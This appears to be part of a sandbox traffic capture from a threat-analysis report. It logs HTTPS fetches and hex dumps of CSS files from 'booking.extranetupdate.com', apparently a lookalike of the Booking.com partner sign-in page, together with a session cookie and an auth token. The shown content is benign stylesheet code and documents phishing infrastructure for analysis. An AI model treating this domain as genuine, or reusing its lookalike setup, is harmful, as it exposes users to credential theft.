2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 30 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 62 61 73 65 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 Data Ascii: font-weight:inherit;line-height:inherit;margin:0}body{background-color:var(--bui_color_background_base);color:var(--bui_color_foreground);font-family:var(--DO_NOT_USE_bui_large_font_body_2_font-family);font-size:var(--DO_NOT_USE_bui_large_font_body_2_font
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 36 37 65 6d 7d 68 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 33 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 34 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 36 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 70 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 74 6f Data Ascii: _bui_large_font_strong_2_font-weight);line-height:var(--DO_NOT_USE_bui_large_font_strong_2_line-height)}h1,h2,h3,h4,h5,h6{margin-bottom:.67em}h1:first-child,h2:first-child,h3:first-child,h4:first-child,h5:first-child,h6:first-child,p:first-child{margin-to
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 65 6c 65 76 61 74 69 6f 6e 5f 6f 6e 65 29 3b 62 6f 72 64 65 72 3a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 31 30 30 29 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 5f 31 30 30 29 3b 62 6f 74 74 6f 6d 3a 30 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 7d 2e 5a 4d 48 39 68 30 48 43 59 48 39 47 47 4e 78 48 6e 58 47 4a 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e Data Ascii: _color_background_elevation_one);border:var(--bui_border_width_100) solid var(--bui_color_border);border-radius:var(--bui_border_radius_100);bottom:0;box-sizing:border-box;left:0;position:absolute;right:0;top:0}.ZMH9h0HCYH9GGNxHnXGJ{-webkit-appearance:non
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 5d 20 2e 5a 4d 48 39 68 30 48 43 59 48 39 47 47 4e 78 48 6e 58 47 4a 3a 66 6f 63 75 73 2b 2e 4b 6c 57 69 46 6e 57 44 32 4b 79 55 6a 61 55 46 31 57 41 45 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 32 70 78 20 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 62 61 73 65 29 2c 30 20 30 20 30 20 34 70 78 20 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 6f 72 64 65 72 29 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 62 6f 64 79 3a 6e 6f 74 28 5b 64 61 74 61 2d 62 75 69 2d 6b 65 79 62 6f 61 72 64 5d 29 20 2e 5a 4d 48 39 68 30 48 43 59 48 39 47 47 4e 78 48 6e 58 47 4a 3a 66 6f 63 75 73 2b 2e 4b 6c 57 69 46 6e 57 44 32 4b 79 55 6a 61 55 46 31 57 41 45 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 Data Ascii: ] .ZMH9h0HCYH9GGNxHnXGJ:focus+.KlWiFnWD2KyUjaUF1WAE{box-shadow:0 0 0 2px var(--bui_color_background_base),0 0 0 4px var(--bui_color_action_border);outline:none}body:not([data-bui-keyboard]) .ZMH9h0HCYH9GGNxHnXGJ:focus+.KlWiFnWD2KyUjaUF1WAE{border-color:va
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 73 70 61 63 69 6e 67 5f 33 78 29 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 33 78 29 7d 2e 58 58 69 78 34 39 74 34 6e 41 73 6e 5a 69 62 6c 44 41 61 52 20 2e 79 70 75 43 6c 46 75 31 49 30 61 30 77 6d 77 43 4d 4b 57 56 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 2d 77 65 62 6b 69 74 2d 70 61 64 64 69 6e 67 2d 65 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 33 78 29 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 65 6e 64 Data Ascii: spacing_3x);padding-inline-start:var(--bui_spacing_3x)}.XXix49t4nAsnZiblDAaR .ypuClFu1I0a0wmwCMKWV:last-child{-webkit-padding-end:var(--bui_spacing_3x);-webkit-margin-start:var(--bui_spacing_2x);margin-inline-start:var(--bui_spacing_2x);padding-inline-end
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 64 74 68 5f 31 30 30 29 29 20 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 7d 2e 4d 45 5a 38 59 37 56 43 44 6a 58 54 71 65 70 6e 70 49 54 72 7b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 20 2d 20 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 31 30 30 29 29 7d 2e 71 31 6b 6b 7a 58 67 58 42 5f 34 70 72 6d 44 30 66 78 6b 69 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 7d 2e 51 61 36 58 6f 31 47 65 32 43 6a 74 42 50 57 71 56 53 55 6f 20 2e 71 31 6b 6b 7a 58 67 58 42 5f 34 70 72 6d 44 30 66 78 6b 69 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 71 31 6b 6b 7a 58 67 58 42 5f 34 70 72 6d 44 30 66 78 6b 69 7b 6d 61 72 Data Ascii: dth_100)) var(--bui_spacing_1x)}.MEZ8Y7VCDjXTqepnpITr{padding:calc(var(--bui_spacing_1x) - var(--bui_border_width_100))}.q1kkzXgXB_4prmD0fxki{margin-left:var(--bui_spacing_1x)}.Qa6Xo1Ge2CjtBPWqVSUo .q1kkzXgXB_4prmD0fxki,[dir=rtl] .q1kkzXgXB_4prmD0fxki{mar

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	940	OUT	GET /static/826_0d1737e180931a217647.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:25 UTC	973	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:25 GMT Content-Type: text/css Content-Length: 61251 Connection: close Cf-Ray: 931b8e4cbeed6779-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:24 GMT Etag: "672e5545-ef43" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AKo51PiLLAA0ja%2ByAilbeU99%2F%2F7ht8D9krRV3gQhg4IqiiWwwKwhuBgovQjCz%2BDX67wBdx0%2FWWjqVZQMufvY3iaih7fozbRNYTbMAbTE%2BMlio2wytOIP40XosqtKCSPqEojMkfIcTw%2Fy5GuJAQ%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106082&min_rtt=106062&rtt_var=22404&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1512&delivery_rate=38047&cwnd=252&unsent_bytes=0&cid=7d8b0d66ef5f50f9&ts=941&x=0"
2025-04-17 11:24:25 UTC	396	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 62 75 69 5f 6c 61 72 67 65 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 39 39 32 70 78 3b 2d 2d 62 75 69 5f 68 75 67 65 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 31 32 30 30 70 78 7d 2e 70 61 72 74 6e 65 72 2d 68 65 61 64 65 72 3e 68 65 61 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 29 7d 3a 72 6f 6f 74 7b 2d 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 65 3a 33 30 30 6d 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 34 35 2c 30 2e 30 34 35 2c 30 2e 33 35 35 2c 31 29 7d 2e 74 72 61 6e 73 69 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2d 34 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 34 70 78 20 31 30 Data Ascii: :root{--bui_large_breakpoint:992px;--bui_huge_breakpoint:1200px}.partner-header>header{background:var(--bui_color_primary)}:root{--transition-time:300ms cubic-bezier(0.645,0.045,0.355,1)}.transition-container{margin:0 -4px;overflow:hidden;padding:0 4px 10
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 69 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 76 61 72 28 2d 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 65 29 2c 6f 70 61 63 69 74 79 20 76 61 72 28 2d 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 65 29 7d 2e 73 6c 69 64 65 2d 65 6e 74 65 72 7b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 31 30 30 25 29 7d 2e 73 6c 69 64 65 2d 65 6e 74 65 72 2d 61 63 74 69 76 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 73 6c 69 64 65 2d 65 6e 74 65 72 2d 61 63 74 69 76 65 2c 2e 73 6c 69 64 65 2d 65 78 69 74 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: ion{position:relative;transition:transform var(--transition-time),opacity var(--transition-time)}.slide-enter{opacity:0;position:relative;transform:translateX(100%)}.slide-enter-active{position:relative}.slide-enter-active,.slide-exit{opacity:1;transform:
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 61 63 63 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 20 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 62 75 69 2d 67 72 69 64 2d 2d 6e 6f 2d 6d 61 72 67 69 6e 7b 6d 61 72 67 69 6e 3a 30 7d 2e 61 63 63 65 73 73 2d 66 6f 72 6d 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: -decoration:underline}.access-container{box-sizing:border-box;padding:var(--bui_spacing_4x) var(--bui_spacing_4x) 0;position:relative;width:100%}.bui-grid--no-margin{margin:0}.access-form{overflow:hidden;position:relative}.access-panel-container{margin-le
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 69 66 72 61 6d 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 3a 32 34 70 78 20 31 36 70 78 20 31 36 70 78 7d 2e 69 66 72 61 6d 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 69 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 74 77 6f 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 38 70 78 7d 2e 64 65 76 2d 6c 69 6e 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 70 61 64 64 69 6e 67 3a 32 70 78 20 38 Data Ascii: coration:underline}.iframe-container{padding:24px 16px 16px}.iframe-container .bui_font_display_two{font-size:24px;padding-right:8px}.dev-link{background:var(--bui_color_accent_background_alt);border-radius:3px;font-size:13px;font-weight:500;padding:2px 8
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 79 3a 6e 6f 6e 65 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 35 70 78 29 20 61 6e 64 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 37 32 30 70 78 29 7b 2e 61 63 63 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 38 70 78 7d 2e 61 70 2d 61 6c 65 72 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 38 70 78 7d 7d 2e 73 70 61 63 65 72 2d 74 6f 70 2d 34 78 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 7d 69 6e 70 75 74 2e 68 69 64 64 65 6e 2d 69 6e 70 75 74 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 68 69 64 64 65 6e 2d 70 61 73 73 77 6f 72 64 2d 69 6e 70 75 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 68 65 69 67 68 74 3a 30 3b 6f Data Ascii: y:none}}@media (min-width:575px) and (min-height:720px){.access-container{margin-top:48px}.ap-alert{margin-top:-48px}}.spacer-top-4x{display:block;margin-top:var(--bui_spacing_4x)}input.hidden-input{display:none}.hidden-password-input-container{height:0;o
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 64 29 3b 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 73 6f 63 69 61 6c 2d 62 75 74 74 6f 6e 2d 66 61 63 65 62 6f 6f 6b 20 73 76 67 7b 66 69 6c 6c 3a 23 34 32 36 37 62 32 7d 73 76 67 2e 77 65 63 68 61 74 2d 69 63 6f 6e 7b 66 69 6c 6c 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 36 62 66 32 31 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 70 61 64 64 69 6e 67 3a 32 70 78 7d 2e 73 6f 63 69 61 6c 2d 65 78 70 61 6e 64 2d 6c 69 6e 6b 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 6d 65 64 69 75 6d 29 20 30 20 30 7d 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 73 6f 63 69 61 6c 7b 6d 61 72 67 69 6e 2d 62 Data Ascii: d);height:24px}.access-panel__social-button-facebook svg{fill:#4267b2}svg.wechat-icon{fill:#fff!important;background:#36bf21;border-radius:3px;padding:2px}.social-expand-link{cursor:pointer;padding:var(--bui_unit_medium) 0 0}.access-panel__social{margin-b
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 5a 6f 4b 49 63 36 32 43 6b 43 51 6a 6a 38 47 31 63 52 79 68 2c 2e 67 51 47 54 44 74 64 50 6f Data Ascii: tructive_background)!important;background-color:var(--bui_color_destructive_background)!important;border-color:var(--bui_color_on_destructive_background)!important;color:var(--bui_color_on_destructive_background)!important}.ZoKIc62CkCQjj8G1cRyh,.gQGTDtdPo
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 4c 54 43 66 78 33 54 61 46 31 65 48 30 32 4e 2c 2e 6a 61 36 41 6a 66 5f 79 51 49 4a 66 66 37 5f 7a 63 4b 38 4b 7b 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 41 55 48 4d 5f 77 34 51 4e 37 6a 74 63 57 34 4d 42 Data Ascii: LTCfx3TaF1eH02N,.ja6Ajf_yQIJff7_zcK8K{fill:var(--bui_color_background)!important;background-color:var(--bui_color_background)!important;border-color:var(--bui_color_on_background)!important;color:var(--bui_color_on_background)!important}.AUHM_w4QN7jtcW4MB
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 75 74 5f 66 6f 72 65 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 54 39 37 47 4c 38 41 39 6e 64 34 5a 33 6d 6c 48 69 57 4b 44 2c 2e 68 59 39 72 65 4e 78 7a 51 6a 68 58 6b 74 52 6b 69 77 6a 59 7b 66 69 6c 6c 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 6f 72 64 65 72 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 66 6f 72 65 67 72 6f 75 6e 64 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 52 75 49 4b 34 44 7a 67 6c 65 79 79 68 6d Data Ascii: ut_foreground)!important}.T97GL8A9nd4Z3mlHiWKD,.hY9reNxzQjhXktRkiwjY{fill:transparent!important;background-color:transparent!important;border-color:var(--bui_color_accent_border)!important;color:var(--bui_color_accent_foreground)!important}.RuIK4Dzgleyyhm
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 73 6d 61 6c 6c 65 72 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 79 77 61 63 73 38 69 7a 59 53 31 5a 73 4f 4c 6c 73 66 61 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 73 6d 61 6c 6c 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 48 70 77 38 35 57 41 73 6b 61 4c 36 55 32 4e 51 4a 41 4b 59 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 6d 65 64 69 75 6d 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 56 4d 4e 42 70 70 62 43 51 37 32 59 41 72 63 67 71 54 4f 32 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 44 69 Data Ascii: argin-bottom:var(--bui_unit_smaller)!important}.ywacs8izYS1ZsOLlsfa6{margin-bottom:var(--bui_unit_small)!important}.Hpw85WAskaL6U2NQJAKY{margin-bottom:var(--bui_unit_medium)!important}.VMNBppbCQ72YArcgqTO2{margin-bottom:var(--bui_unit_large)!important}.Di

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	963	OUT	GET /static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:25 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:25 GMT Content-Type: text/css Content-Length: 24695 Connection: close Cf-Ray: 931b8e4cce1eb067-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:24 GMT Etag: "67268c7e-6077" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0k2mt5WoqGOtvzKhpswVbbLq1Dxhx5jJL7rv8Oibris4qGEm9d1mbSeyfIepM5HykuUhgjX6Sog5aTOMucT25leuB3V8CGKuB2e12Cvu5CUdcBZoOHifzM28KPwuv1UAcqUq4WEtQnjGFWg9rA%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105755&min_rtt=105713&rtt_var=22364&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1557&delivery_rate=38148&cwnd=252&unsent_bytes=0&cid=36398326cd0ef542&ts=928&x=0"
